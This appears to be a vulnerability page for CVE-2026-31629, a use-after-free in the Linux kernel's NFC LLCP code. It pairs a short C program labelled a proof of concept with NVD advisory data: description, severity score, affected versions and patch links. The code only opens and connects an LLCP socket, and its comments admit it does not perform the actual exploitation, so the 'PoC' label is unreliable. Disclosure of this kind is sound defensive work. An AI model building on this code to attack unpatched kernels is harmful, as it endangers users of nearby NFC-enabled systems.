CVE-2026-31629

/* * PoC for CVE-2026-31629: Linux Kernel NFC LLCP Use-After-Free * This code demonstrates the creation of an NFC LLCP socket which triggers * the vulnerable code path during connection handling or data reception. * Requires a system with NFC hardware and kernel support. */ #include <linux/nfc.h> #include <sys/socket.h> #include <unistd.h> #include <stdio.h> int main() { int sock; struct sockaddr_nfc_llcp addr; // Create an NFC LLCP socket sock = socket(AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP); if (sock < 0) { perror("socket"); return 1; } // Setup address (SAP) memset(&addr, 0, sizeof(addr)); addr.sa_family = AF_NFC; addr.dev_idx = 0; // Target device index addr.nfc_protocol = NFC_PROTO_LLCP; addr.sap = 0x10; // Target Service Access Point // Attempting to connect or send data that triggers the state transition // to LLCP_CLOSED without proper handling in the kernel. // Actual exploitation requires precise timing and packet crafting. if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("connect"); close(sock); return 1; } printf("Socket created and connected. Vulnerability may be triggered by remote disconnection or malformed packets.\n"); close(sock); return 0; }

{"cve": {"id": "CVE-2026-31629", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:42.217", "lastModified": "2026-04-27T20:36:33.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: llcp: add missing return after LLCP_CLOSED checks\n\nIn nfc_llcp_recv_hdlc() and nfc_llcp_recv_disc(), when the socket\nstate is LLCP_CLOSED, the code correctly calls release_sock() and\nnfc_llcp_sock_put() but fails to return. Execution falls through to\nthe remainder of the function, which calls release_sock() and\nnfc_llcp_sock_put() again. This results in a double release_sock()\nand a refcount underflow via double nfc_llcp_sock_put(), leading to\na use-after-free.\n\nAdd the missing return statements after the LLCP_CLOSED branches\nin both functions to prevent the fall-through."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3", "versionEndExcluding": "6.6.136", "matchCriteriaId": "FAB12062-558C-4570-A908-D71195858ADA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0eb1263a3b8c36418c9ba295c9ab3abed664edbf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2b5dd4632966c39da6ba74dbc8689b309065e82c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/796e0cac058252d0ad34ebe288e6f7979b5fc9b2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8977fad2b3c6eefd414131168d597c5d1d5e1abf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/aba4712e8f0381cd5d196534ce2ad082626a5ab6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ff3d9e8f7244293e303f7b6ef70774291c7c27e9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}